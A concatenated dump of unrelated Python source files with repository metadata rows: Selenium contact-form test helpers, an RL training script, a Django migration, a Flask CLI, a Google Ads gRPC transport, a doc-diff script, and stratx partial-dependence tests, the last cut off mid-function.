wd = self.app.wd
self.open_home_page()
wd.find_element_by_link_text("add new").click()
self.fill_contact_form(contact)
# add note
wd.find_element_by_name("notes").click()
wd.find_element_by_name("notes").clear()
wd.find_element_by_name("notes").send_keys("test notes 1")
# submit contact
wd.find_element_by_xpath("(//input[@name='submit'])[2]").click()
def fill_contact_form(self, contact):
wd = self.app.wd
self.change_field_value("firstname", contact.firstname)
self.change_field_value("middlename", contact.middlename)
self.change_field_value("lastname", contact.lastname)
self.change_field_value("nickname", contact.nickname)
self.change_field_value("title", contact.title)
self.change_field_value("company", contact.company)
self.change_field_value("address", contact.address)
self.change_field_value("home", contact.phone)
self.change_field_value("mobile", contact.mobile)
self.change_field_value("work", contact.workphone)
self.change_field_value("fax", contact.fax)
self.change_field_value("email", contact.email)
def change_field_value(self, field_name, text):
wd = self.app.wd
if text is not None:
wd.find_element_by_name(field_name).click()
wd.find_element_by_name(field_name).clear()
wd.find_element_by_name(field_name).send_keys(text)
def delete_first_contact(self):
wd = self.app.wd
# select first contact
wd.find_element_by_name("selected[]").click()
# submit deletion
wd.find_element_by_xpath("//input[@value='Delete']").click()
# confirm deletion in pop-up
wd.switch_to_alert().accept()
'''def change_contact(self):
wd = self.app.wd
self.open_home_page()
# edit first row of contact
wd.find_element_by_xpath("//img[@alt='Edit']").click()
wd.find_element_by_name("firstname").click()
wd.find_element_by_name("firstname").clear()
wd.find_element_by_name("firstname").send_keys("YYYYYYYY")
wd.find_element_by_name("update").click()'''
def modify_first_contact(self, new_contact_data):
wd = self.app.wd
self.open_home_page()
# select first group
wd.find_element_by_name("selected[]").click()
# open modification form
wd.find_element_by_xpath("//img[@alt='Edit']").click()
# fill group form
self.fill_contact_form(new_contact_data)
# submit modification
wd.find_element_by_name("update").click()
# return to home page
self.open_home_page()
def open_home_page(self):
wd = self.app.wd
if not len(wd.find_elements_by_name("All e-mail")) > 0:
wd.find_element_by_link_text("home").click()
def contact_count(self):
wd = self.app.wd
self.open_home_page()
return len(wd.find_elements_by_name("selected[]"))
def get_contact_list(self):
wd = self.app.wd
self.open_home_page()
contacts = []
for element in wd.find_elements_by_class_name("entry"):
text = element.text
id = element.find_element_by_name("selected[]").get_attribute("id")
contacts.append(Contact(lastname=text, id=id))
return contacts
| 37.915789 | 79 | 0.643531 |
795c1dca027f8e3b0a1e51fa048a0448b911ec60 | 2,065 | py | Python | neorl/rl/baselines/a2c/run_atari.py | evdcush/neorl | a1af069072e752ab79e7279a88ad95d195a81821 | [
"MIT"
] | 20 | 2021-04-20T19:15:33.000Z | 2022-03-19T17:00:12.000Z | neorl/rl/baselines/a2c/run_atari.py | evdcush/neorl | a1af069072e752ab79e7279a88ad95d195a81821 | [
"MIT"
] | 17 | 2021-04-07T21:52:41.000Z | 2022-03-06T16:05:31.000Z | neorl/rl/baselines/a2c/run_atari.py | evdcush/neorl | a1af069072e752ab79e7279a88ad95d195a81821 | [
"MIT"
] | 8 | 2021-05-07T03:36:30.000Z | 2021-12-15T03:41:41.000Z | #!/usr/bin/env python3
from neorl.rl.baselines.shared import logger
from neorl.rl.baselines.a2c.a2c import A2C
from neorl.rl.baselines.shared.cmd_util import make_atari_env, atari_arg_parser
from neorl.rl.baselines.shared.vec_env import VecFrameStack
from neorl.rl.baselines.shared.policies import CnnPolicy, CnnLstmPolicy, CnnLnLstmPolicy
def train(env_id, num_timesteps, seed, policy, lr_schedule, num_env):
"""
Train A2C model for atari environment, for testing purposes
:param env_id: (str) Environment ID
:param num_timesteps: (int) The total number of samples
:param seed: (int) The initial seed for training
:param policy: (A2CPolicy) The policy model to use (MLP, CNN, LSTM, ...)
:param lr_schedule: (str) The type of scheduler for the learning rate update ('linear', 'constant',
'double_linear_con', 'middle_drop' or 'double_middle_drop')
:param num_env: (int) The number of environments
"""
policy_fn = None
if policy == 'cnn':
policy_fn = CnnPolicy
elif policy == 'lstm':
policy_fn = CnnLstmPolicy
elif policy == 'lnlstm':
policy_fn = CnnLnLstmPolicy
if policy_fn is None:
raise ValueError("Error: policy {} not implemented".format(policy))
env = VecFrameStack(make_atari_env(env_id, num_env, seed), 4)
model = A2C(policy_fn, env, lr_schedule=lr_schedule, seed=seed)
model.learn(total_timesteps=int(num_timesteps * 1.1))
env.close()
def main():
"""
Runs the test
"""
parser = atari_arg_parser()
parser.add_argument('--policy', choices=['cnn', 'lstm', 'lnlstm'], default='cnn', help='Policy architecture')
parser.add_argument('--lr_schedule', choices=['constant', 'linear'], default='constant',
help='Learning rate schedule')
args = parser.parse_args()
logger.configure()
train(args.env, num_timesteps=args.num_timesteps, seed=args.seed, policy=args.policy, lr_schedule=args.lr_schedule,
num_env=16)
if __name__ == '__main__':
main()
| 37.545455 | 119 | 0.684746 |
795c1e2dd2adb1619f18626b7aa0084c741ebd23 | 663 | py | Python | CybORG/CybORG/Shared/Actions/GameActions/ResetGame.py | rafvasq/cage-challenge-1 | 95affdfa38afc1124f1a1a09c92fbc0ed5b96318 | [
"MIT"
] | 18 | 2021-08-20T15:07:55.000Z | 2022-03-11T12:05:15.000Z | CybORG/CybORG/Shared/Actions/GameActions/ResetGame.py | rafvasq/cage-challenge-1 | 95affdfa38afc1124f1a1a09c92fbc0ed5b96318 | [
"MIT"
] | 7 | 2021-11-09T06:46:58.000Z | 2022-03-31T12:35:06.000Z | CybORG/CybORG/Shared/Actions/GameActions/ResetGame.py | rafvasq/cage-challenge-1 | 95affdfa38afc1124f1a1a09c92fbc0ed5b96318 | [
"MIT"
] | 13 | 2021-08-17T00:26:31.000Z | 2022-03-29T20:06:45.000Z | # Copyright DST Group. Licensed under the MIT license.
from CybORG.Shared import Observation
from .GameAction import GameAction
class ResetGame(GameAction):
"""Resets the game. """
def emu_execute(self, game_controller, *args, **kwargs) -> Observation:
# this is a special action in that it's emu_execute function is not
# called. Instead the emulatorservercontroller will handle the reset
# logic when it recieves this action.
# This is done since resetting is a bit different to a normal action
# and has to handle returning the observation and action space for
# multiple agents
assert False
| 36.833333 | 76 | 0.708899 |
795c1e3d4e65db7893134c06d63852ffef1e4874 | 1,287 | py | Python | backend/auto_labeling/pipeline/execution.py | daobook/doccano | 45122687740f74f19e2578c5cf28507f0839bf16 | [
"MIT"
] | 2 | 2021-12-11T22:25:27.000Z | 2021-12-20T01:02:16.000Z | backend/auto_labeling/pipeline/execution.py | daobook/doccano | 45122687740f74f19e2578c5cf28507f0839bf16 | [
"MIT"
] | 1 | 2022-02-15T10:50:18.000Z | 2022-02-15T10:50:18.000Z | backend/auto_labeling/pipeline/execution.py | daobook/doccano | 45122687740f74f19e2578c5cf28507f0839bf16 | [
"MIT"
] | null | null | null | from typing import Type
from auto_labeling_pipeline.labels import SequenceLabels, Seq2seqLabels, ClassificationLabels, Labels
from auto_labeling_pipeline.mappings import MappingTemplate
from auto_labeling_pipeline.models import RequestModelFactory
from auto_labeling_pipeline.pipeline import pipeline
from auto_labeling_pipeline.postprocessing import PostProcessor
from .labels import create_labels
from auto_labeling.models import AutoLabelingConfig
def get_label_collection(task_type: str) -> Type[Labels]:
return {
'Category': ClassificationLabels,
'Span': SequenceLabels,
'Text': Seq2seqLabels
}[task_type]
def execute_pipeline(data: str, config: AutoLabelingConfig):
label_collection = get_label_collection(config.task_type)
model = RequestModelFactory.create(
model_name=config.model_name,
attributes=config.model_attrs
)
template = MappingTemplate(
label_collection=label_collection,
template=config.template
)
post_processor = PostProcessor(config.label_mapping)
labels = pipeline(
text=data,
request_model=model,
mapping_template=template,
post_processing=post_processor
)
labels = create_labels(config.task_type, labels)
return labels
| 32.175 | 101 | 0.762238 |
795c1ee5fc81beea1462dc2b4c67768ec3e5ec4f | 788 | py | Python | profiles_api/migrations/0002_profilefeeditem.py | pauloandredm/profiles-rest-api | a9e61065245a1581f8cadeb07be68ba032702ca5 | [
"MIT"
] | null | null | null | profiles_api/migrations/0002_profilefeeditem.py | pauloandredm/profiles-rest-api | a9e61065245a1581f8cadeb07be68ba032702ca5 | [
"MIT"
] | null | null | null | profiles_api/migrations/0002_profilefeeditem.py | pauloandredm/profiles-rest-api | a9e61065245a1581f8cadeb07be68ba032702ca5 | [
"MIT"
] | null | null | null | # Generated by Django 2.2 on 2022-01-11 19:23
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('profiles_api', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='ProfileFeedItem',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('status_text', models.CharField(max_length=255)),
('created_on', models.DateTimeField(auto_now_add=True)),
('user_profile', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
| 31.52 | 126 | 0.633249 |
795c1f76282c416b205b51de41593bab43848645 | 5,005 | py | Python | src/flask_easy/scripts/cli.py | Josephmaclean/flask-easy | 64cb647b0dbcd031cb8d27cc60889e50c959e1ca | [
"MIT"
] | 1 | 2021-12-30T12:25:05.000Z | 2021-12-30T12:25:05.000Z | src/flask_easy/scripts/cli.py | Josephmaclean/flask-easy | 64cb647b0dbcd031cb8d27cc60889e50c959e1ca | [
"MIT"
] | null | null | null | src/flask_easy/scripts/cli.py | Josephmaclean/flask-easy | 64cb647b0dbcd031cb8d27cc60889e50c959e1ca | [
"MIT"
] | null | null | null | """
cli.py
Author: Joseph Maclean Arhin
"""
import click
from flask import Flask
from peewee_migrate import Router
from flask_easy.factory import run_seeder
from .resources import create_model, create_repository, create_view
def init_cli(app: Flask, db_conn): # pylint: disable=R0915
"""initialize all cli commands"""
@click.group()
def easy():
"""perform easy actions"""
@easy.group()
def generate():
"""perform scaffolding actions"""
@easy.command("db:seed")
@click.argument("cycle", required=False, type=int)
@click.option("--class_name", "-c")
def seed(cycle: int, class_name: str):
"""
seed database
:param cycle:
:param class_name:
:return:
"""
count = cycle if cycle else 1
click.echo("seeding...")
run_seeder(count, class_name, app)
click.echo(click.style("seeding complete!!!", fg="bright_green"))
@easy.command("make:migration")
@click.argument("name", required=False)
def gen(name: str):
"""
make migration
:param name:
:return:
"""
router = Router(db_conn.database)
if not name:
router.create(auto=True)
else:
router.create(name, auto=True)
@easy.command("migrate")
@click.argument("name", required=False)
@click.option("--fake", "-f", "fake", is_flag=True)
def migrate(name: str, fake: bool):
router = Router(db_conn.database)
if not name:
router.run(fake=fake)
else:
router.run(name, fake=fake)
@easy.command("migrate:rollback")
@click.argument("name", required=False)
@click.option("--steps", "-s", "steps", type=int, default=1)
def rollback(name: str, steps: int):
router = Router(db_conn.database)
if not name:
if steps > len(router.done):
click.echo(
click.style(
f"steps is greater than available number migrations({len(router.done)})",
fg="bright_red",
)
)
return
if steps < 1:
click.echo(click.style("invalid number of steps", fg="bright_red"))
return
for _ in range(steps):
last_migration = router.done[-1]
router.rollback(last_migration)
else:
router.rollback(name)
@easy.command("migrate:list")
def list_():
router = Router(db_conn.database)
click.echo(click.style("Migrations done:", fg="bright_green", underline=True))
click.echo("\n".join(router.done))
click.echo("")
click.echo(click.style("Migrations to do:", underline=True))
click.echo("\n".join(router.diff))
@generate.command("model")
@click.argument("name")
@click.option("-r", "--repository", "repository", is_flag=True)
def generate_model(name: str, repository):
config = app.config
if config:
try:
db_engine = config["DB_ENGINE"]
if db_engine == "mongodb":
create_model(app.root_path, name, is_sql=False)
is_sql = False
else:
create_model(app.root_path, name)
is_sql = True
if repository:
create_repository(
app.root_path, f"{name}_repository", is_sql=is_sql
)
click.echo(
click.style(
f"{name} model and repository created successfully",
fg="bright_green",
)
)
except AttributeError:
click.echo(click.style("DB_ENGINE not set", fg="red"))
@generate.command("repository")
@click.argument("name")
def generate_repository(name: str):
config = app.config
if config:
try:
db_engine = config["DB_ENGINE"]
if db_engine == "mongodb":
create_repository(
app.root_path,
f"{name}_repository",
is_sql=False,
)
else:
create_repository(app.root_path, f"{name}_repository")
click.echo(
click.style(
f"{name} repository created successfully", fg="bright_green"
)
)
except AttributeError:
click.echo(click.style("DB_ENGINE not set", fg="red"))
@generate.command("view")
@click.argument("name", required=False)
def generate_view(name: str):
create_view(app, name)
click.echo(click.style(f"{name}_view generated successfully", fg="green"))
app.cli.add_command(easy)
app.cli.add_command(generate)
| 31.677215 | 97 | 0.527872 |
795c1fc522f4a8e51e07d7ca0949a39666658ecb | 759 | py | Python | HLTrigger/Configuration/python/HLT_75e33/psets/initialStepTrajectoryFilterShapePreSplitting_cfi.py | PKUfudawei/cmssw | 8fbb5ce74398269c8a32956d7c7943766770c093 | [
"Apache-2.0"
] | 1 | 2021-11-30T16:24:46.000Z | 2021-11-30T16:24:46.000Z | HLTrigger/Configuration/python/HLT_75e33/psets/initialStepTrajectoryFilterShapePreSplitting_cfi.py | PKUfudawei/cmssw | 8fbb5ce74398269c8a32956d7c7943766770c093 | [
"Apache-2.0"
] | 4 | 2021-11-29T13:57:56.000Z | 2022-03-29T06:28:36.000Z | HLTrigger/Configuration/python/HLT_75e33/psets/initialStepTrajectoryFilterShapePreSplitting_cfi.py | PKUfudawei/cmssw | 8fbb5ce74398269c8a32956d7c7943766770c093 | [
"Apache-2.0"
] | 1 | 2021-11-30T16:16:05.000Z | 2021-11-30T16:16:05.000Z | import FWCore.ParameterSet.Config as cms
initialStepTrajectoryFilterShapePreSplitting = cms.PSet(
ComponentType = cms.string('StripSubClusterShapeTrajectoryFilter'),
layerMask = cms.PSet(
TEC = cms.bool(False),
TIB = cms.vuint32(1, 2),
TID = cms.vuint32(1, 2),
TOB = cms.bool(False)
),
maxNSat = cms.uint32(3),
maxTrimmedSizeDiffNeg = cms.double(1.0),
maxTrimmedSizeDiffPos = cms.double(0.7),
seedCutMIPs = cms.double(0.35),
seedCutSN = cms.double(7.0),
subclusterCutMIPs = cms.double(0.45),
subclusterCutSN = cms.double(12.0),
subclusterWindow = cms.double(0.7),
trimMaxADC = cms.double(30.0),
trimMaxFracNeigh = cms.double(0.25),
trimMaxFracTotal = cms.double(0.15)
)
| 33 | 71 | 0.665349 |
795c1ff746d8f3cdca2f6b323ea0018fdeca7c17 | 7,642 | py | Python | google/ads/google_ads/v5/services/transports/keyword_plan_service_grpc_transport.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | 1 | 2021-04-09T04:28:47.000Z | 2021-04-09T04:28:47.000Z | google/ads/google_ads/v5/services/transports/keyword_plan_service_grpc_transport.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | null | null | null | google/ads/google_ads/v5/services/transports/keyword_plan_service_grpc_transport.py | arammaliachi/google-ads-python | a4fe89567bd43eb784410523a6306b5d1dd9ee67 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import google.api_core.grpc_helpers
from google.ads.google_ads.v5.proto.services import keyword_plan_service_pb2_grpc
class KeywordPlanServiceGrpcTransport(object):
"""gRPC transport class providing stubs for
google.ads.googleads.v5.services KeywordPlanService API.
The transport provides access to the raw gRPC stubs,
which can be used to take advantage of advanced
features of gRPC.
"""
# The scopes needed to make gRPC calls to all of the methods defined
# in this service.
_OAUTH_SCOPES = (
)
def __init__(self, channel=None, credentials=None,
address='googleads.googleapis.com:443'):
"""Instantiate the transport class.
Args:
channel (grpc.Channel): A ``Channel`` instance through
which to make calls. This argument is mutually exclusive
with ``credentials``; providing both will raise an exception.
credentials (google.auth.credentials.Credentials): The
authorization credentials to attach to requests. These
credentials identify this application to the service. If none
are specified, the client will attempt to ascertain the
credentials from the environment.
address (str): The address where the service is hosted.
"""
# If both `channel` and `credentials` are specified, raise an
# exception (channels come with credentials baked in already).
if channel is not None and credentials is not None:
raise ValueError(
'The `channel` and `credentials` arguments are mutually '
'exclusive.',
)
# Create the channel.
if channel is None:
channel = self.create_channel(
address=address,
credentials=credentials,
options={
'grpc.max_send_message_length': -1,
'grpc.max_receive_message_length': -1,
}.items(),
)
self._channel = channel
# gRPC uses objects called "stubs" that are bound to the
# channel and provide a basic method for each RPC.
self._stubs = {
'keyword_plan_service_stub': keyword_plan_service_pb2_grpc.KeywordPlanServiceStub(channel),
}
@classmethod
def create_channel(
cls,
address='googleads.googleapis.com:443',
credentials=None,
**kwargs):
"""Create and return a gRPC channel object.
Args:
address (str): The host for the channel to use.
credentials (~.Credentials): The
authorization credentials to attach to requests. These
credentials identify this application to the service. If
none are specified, the client will attempt to ascertain
the credentials from the environment.
kwargs (dict): Keyword arguments, which are passed to the
channel creation.
Returns:
grpc.Channel: A gRPC channel object.
"""
return google.api_core.grpc_helpers.create_channel(
address,
credentials=credentials,
scopes=cls._OAUTH_SCOPES,
**kwargs
)
@property
def channel(self):
"""The gRPC channel used by the transport.
Returns:
grpc.Channel: A gRPC channel object.
"""
return self._channel
@property
def get_keyword_plan(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.get_keyword_plan`.
Returns the requested plan in full detail.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].GetKeywordPlan
@property
def mutate_keyword_plans(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.mutate_keyword_plans`.
Creates, updates, or removes keyword plans. Operation statuses are
returned.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].MutateKeywordPlans
@property
def generate_forecast_curve(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.generate_forecast_curve`.
Returns the requested Keyword Plan forecast curve.
Only the bidding strategy is considered for generating forecast curve.
The bidding strategy value specified in the plan is ignored.
To generate a forecast at a value specified in the plan, use
KeywordPlanService.GenerateForecastMetrics.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].GenerateForecastCurve
@property
def generate_forecast_time_series(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.generate_forecast_time_series`.
Returns a forecast in the form of a time series for the Keyword Plan over
the next 52 weeks.
(1) Forecasts closer to the current date are generally more accurate than
further out.
(2) The forecast reflects seasonal trends using current and
prior traffic patterns. The forecast period of the plan is ignored.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].GenerateForecastTimeSeries
@property
def generate_forecast_metrics(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.generate_forecast_metrics`.
Returns the requested Keyword Plan forecasts.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].GenerateForecastMetrics
@property
def generate_historical_metrics(self):
"""Return the gRPC stub for :meth:`KeywordPlanServiceClient.generate_historical_metrics`.
Returns the requested Keyword Plan historical metrics.
Returns:
Callable: A callable which accepts the appropriate
deserialized request object and returns a
deserialized response object.
"""
return self._stubs['keyword_plan_service_stub'].GenerateHistoricalMetrics | 37.460784 | 103 | 0.649045 |
795c205accef45276e17b6024e1a3952fe9a0824 | 6,568 | py | Python | ci/diff-json-doc.py | ju-sh/herbstluftwm | ff8778cc662135e43ed01c5406ae8895ccd452ee | [
"BSD-2-Clause-FreeBSD"
] | 925 | 2015-01-05T01:00:12.000Z | 2022-03-31T21:13:07.000Z | ci/diff-json-doc.py | ju-sh/herbstluftwm | ff8778cc662135e43ed01c5406ae8895ccd452ee | [
"BSD-2-Clause-FreeBSD"
] | 1,286 | 2015-01-19T23:23:06.000Z | 2022-03-31T21:05:48.000Z | ci/diff-json-doc.py | ju-sh/herbstluftwm | ff8778cc662135e43ed01c5406ae8895ccd452ee | [
"BSD-2-Clause-FreeBSD"
] | 117 | 2015-01-23T08:09:37.000Z | 2022-03-18T06:20:00.000Z | #!/usr/bin/env python3
import re
import subprocess
import os
import sys
import argparse
import json
import difflib
class GitDir:
def __init__(self, dirpath):
self.dirpath = dirpath
def run(self, cmd, check=True):
"""
run a git command in the git repository in the dir git_tmp.dir
"""
tmp_dir = self.dirpath
full_cmd = [
'git',
'--git-dir=' + os.path.join(tmp_dir, '.git'),
'--work-tree=' + tmp_dir
] + list(cmd)
print(':: ' + ' '.join(full_cmd), file=sys.stderr)
return subprocess.run(full_cmd, check=check)
def parse_pr_id(self, text):
"""replace pr IDs by git refs and
leave other ref identifiers unchanged
"""
if self.run(['rev-parse', text], check=False).returncode == 0:
# do not interpret text if it is a valid git revision
return text
if text[0:1] == '#' and self.run(['rev-parse', text]).returncode != 0:
return 'github/pull/' + text[1:] + '/head'
else:
return text
def get_json_doc(tmp_dir):
json_txt = subprocess.run(['doc/gendoc.py', '--json'],
stdout=subprocess.PIPE,
universal_newlines=True,
cwd=tmp_dir).stdout
# normalize it: add trailing commads to reduce diff size:
return re.sub(r'([^{,])\n', r'\1,\n', json_txt)
def run_pipe_stdout(cmd):
return subprocess.run(cmd,
stdout=subprocess.PIPE,
universal_newlines=True).stdout
def rest_call(query, path, body=None):
"""query is GET/POST/PATCH"""
github_token = os.environ['GITHUB_TOKEN']
curl = ['curl', '-H', 'Authorization: token ' + github_token]
curl += ['-X', query]
if body is not None:
curl += ['-d', json.dumps(body)]
curl += ["https://api.github.com/repos/herbstluftwm/herbstluftwm/" + path]
json_src = run_pipe_stdout(curl)
return json.loads(json_src)
def post_comment(pr_id, text):
# list existing comments:
comments = rest_call('GET', f'issues/{pr_id}/comments')
comment_id = None
for c in comments:
if c['user']['login'] == 'herbstluftwm-bot':
comment_id = c['id']
break
body = {'body': text}
if comment_id is not None:
print(f'Updating existing comment {comment_id} in #{pr_id}', file=sys.stderr)
rest_call('PATCH', f'issues/comments/{comment_id}', body=body)
else:
print(f'Creating new comment in #{pr_id}', file=sys.stderr)
rest_call('POST', f'issues/{pr_id}/comments', body=body)
def main():
parser = argparse.ArgumentParser(description='Show diffs in json doc between to refs')
parser.add_argument('oldref',
help='the old version, e.g. github/master',
default='github/master',
nargs='?')
parser.add_argument('newref', help='the new version, e.g. a pull request number like #1021')
parser.add_argument('--no-tmp-dir', action='store_const', default=False, const=True,
help='dangerous: if passed, perform git checkout on this repo')
parser.add_argument('--fetch-all', action='store_const', default=False, const=True,
help='whether to fetch all refs from the remote before diffing')
parser.add_argument('--collapse-diff-lines', default=100, type=int,
help='from which diff size on the diff is collapsed per default')
parser.add_argument('--post-comment', default=None,
help='post diff as a comment in the specified ID of a github issue'
+ ' Requires that the environment variable GITHUB_TOKEN is set')
parser.add_argument('--post-comment-auto', action='store_const', default=False, const=True,
help='Automatically derive the argument to --post-comment from newref')
args = parser.parse_args()
comment_target = None
if args.post_comment_auto:
if args.newref[0:1] == '#':
print("Deriving --post-comment={}".format(args.newref[1:]), file=sys.stderr)
comment_target = args.newref[1:]
else:
msg_format = "Unable to derive github issue number from {}"
msg_format += " (expecting the prefix '#')"
print(msg_format.format(args.newref), file=sys.stderr)
sys.exit(1)
else:
comment_target = args.post_comment
git_root = run_pipe_stdout(['git', 'rev-parse', '--show-toplevel']).rstrip()
if args.no_tmp_dir:
# use this repository for checking different revisions
tmp_dir = git_root
else:
tmp_dir = os.path.join(git_root, '.hlwm-tmp-diff-json')
git_tmp = GitDir(tmp_dir)
if not os.path.isdir(tmp_dir):
subprocess.call(['git', 'clone', git_root, tmp_dir])
# fetch all pull request heads
if args.fetch_all:
git_tmp.run([
'fetch',
'https://github.com/herbstluftwm/herbstluftwm',
'+refs/pull/*:refs/remotes/github/pull/*',
'+master:github/master'])
oldref = git_tmp.parse_pr_id(args.oldref)
newref = git_tmp.parse_pr_id(args.newref)
print(f'Diffing »{oldref}« and »{newref}«', file=sys.stderr)
print(f'Checking out {oldref}', file=sys.stderr)
git_tmp.run(['checkout', '-f', oldref])
oldjson = get_json_doc(tmp_dir).splitlines(keepends=True)
print(f'Checking out {newref}', file=sys.stderr)
git_tmp.run(['-c', 'advice.detachedHead=false', 'checkout', '-f', newref])
newjson = get_json_doc(tmp_dir).splitlines(keepends=True)
diff = list(difflib.unified_diff(oldjson, newjson, fromfile=args.oldref, tofile=args.newref))
if comment_target is not None:
gendoc_url = '/herbstluftwm/herbstluftwm/blob/master/doc/gendoc.py'
comment = [f'Diff of the output of [`doc/gendoc.py --json`]({gendoc_url}):']
details_attr = ' open' if len(diff) < args.collapse_diff_lines else ''
comment += [f'<details{details_attr}>']
comment += [f'<summary>Full diff ({len(diff)} lines)</summary>']
comment += ['']
comment += ['```diff']
comment += [line.rstrip('\n') for line in diff]
comment += ['```']
comment += ['</details>']
comment_txt = '\n'.join(comment)
post_comment(comment_target.lstrip('#'), comment_txt)
else:
print("")
sys.stdout.writelines(diff)
main()
| 39.095238 | 97 | 0.597747 |
795c20cbd0b44de1990b84b2edf9f544d841e600 | 6,129 | py | Python | testing/test_strat.py | parrt/stratx | c190ecc32ac7b8dd3f5532a5d5b0de34a3693a22 | [
"MIT"
] | 54 | 2019-07-17T04:59:39.000Z | 2022-03-18T15:25:00.000Z | testing/test_strat.py | parrt/stratx | c190ecc32ac7b8dd3f5532a5d5b0de34a3693a22 | [
"MIT"
] | 5 | 2019-07-27T16:18:37.000Z | 2020-12-02T20:16:49.000Z | testing/test_strat.py | parrt/stratx | c190ecc32ac7b8dd3f5532a5d5b0de34a3693a22 | [
"MIT"
] | 13 | 2019-08-08T22:17:50.000Z | 2022-02-11T10:19:23.000Z | """
MIT License
Copyright (c) 2019 Terence Parr
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from sklearn.utils import resample
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import normalize
from sklearn.ensemble import RandomForestRegressor
from timeit import default_timer as timer
from sklearn.utils import resample
import shap
import stratx.partdep
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from numpy import nan
def check(X, y, colname,
expected_xranges, expected_slopes,
expected_pdpx, expected_pdpy,
expected_ignored=0,
min_samples_leaf=15):
leaf_xranges, leaf_slopes, slope_counts_at_x, dx, slope_at_x, pdpx, pdpy, ignored = \
stratx.partdep.partial_dependence(X, y, colname,
min_samples_leaf=min_samples_leaf,
min_slopes_per_x=1)
# print(leaf_xranges, leaf_slopes, slope_counts_at_x, dx, slope_at_x, pdpx, pdpy)
assert ignored==expected_ignored, f"Expected ignored {expected_ignored} got {ignored}"
assert len(leaf_xranges)==len(expected_slopes), f"Expected ranges {expected_xranges}"
assert np.isclose(leaf_xranges, np.array(expected_xranges)).all(), f"Expected ranges {expected_xranges} got {leaf_xranges}"
assert len(leaf_slopes)==len(expected_slopes), f"Expected slopes {expected_slopes}"
assert np.isclose(leaf_slopes, np.array(expected_slopes)).all(), f"Expected slopes {expected_slopes} got {leaf_slopes}"
assert len(pdpx)==len(expected_pdpx), f"Expected pdpx {expected_pdpx}"
assert np.isclose(pdpx, np.array(expected_pdpx)).all(), f"Expected pdpx {expected_pdpx} got {pdpx}"
assert len(pdpy)==len(expected_pdpy), f"Expected pdpy {expected_pdpy}"
assert np.isclose(pdpy, np.array(expected_pdpy)).all(), f"Expected pdpy {expected_pdpy} got {pdpy}"
def test_binary_one_region():
df = pd.DataFrame()
df['x1'] = [1, 1]
df['x2'] = [65, 60]
df['y'] = [100, 130]
X = df.drop('y', axis=1)
y = df['y']
expected_xranges = np.array([[60, 65]])
expected_slopes = np.array([-6])
expected_pdpx = np.array([60,65])
expected_pdpy = np.array([0,-30])
check(X, y, "x2",
expected_xranges, expected_slopes,
expected_pdpx, expected_pdpy,
min_samples_leaf=2)
def test_one_region():
df = pd.DataFrame()
df['x1'] = [1, 1, 1]
df['x2'] = [100,101,102]
df['y'] = [10, 11, 12]
X = df.drop('y', axis=1)
y = df['y']
expected_xranges = np.array([[100, 101],
[101, 102]])
expected_slopes = np.array([1, 1])
expected_pdpx = np.array([100,101,102])
expected_pdpy = np.array([0, 1, 2])
check(X, y, "x2",
expected_xranges, expected_slopes,
expected_pdpx, expected_pdpy,
min_samples_leaf=3)
def test_disjoint_regions():
"""
What happens when we have two disjoint regions in x_j space?
Does the 2nd start with 0 again with cumsum?
"""
df = pd.DataFrame()
df['x1'] = [1, 1, 1, # stratify first three x2
5, 5, 5] # stratify 2nd three x2
df['x2'] = [100,101,102,
200,201,202]
df['y'] = [10, 11, 12, # first x2 region +1 slope
20, 19, 18] # 2nd x2 region -1 slope but from higher y downwards
X = df.drop('y', axis=1)
y = df['y']
expected_xranges = np.array([[100, 101],
[101, 102],
[200, 201],
[201, 202]])
